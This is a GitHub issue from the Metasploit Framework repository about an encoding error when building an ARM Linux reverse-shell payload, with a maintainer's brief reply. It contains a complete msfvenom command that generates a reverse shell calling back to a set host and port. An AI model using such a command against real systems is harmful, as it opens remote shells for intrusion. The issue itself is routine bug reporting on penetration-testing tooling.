rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
33.72k stars 13.89k forks source link

Error An encoding exception occurred linux/armle/shell_reverse_tcp #6481

Open umerov1999 opened 8 years ago

umerov1999 commented 8 years ago

msfvenom -p linux/armle/shell_reverse_tcp -b '\x00\x0a\x0d\x40' lhost=192.168.1.122 lport=1996 R > shell.bin

No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: armle from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of generic/none generic/none failed with Encoding failed due to a bad character (index=1, char=0x00) Error: An encoding exception occurred.

bcook-r7 commented 8 years ago

Hmm, looks like we would need an arm-specific encoder to avoid badchars.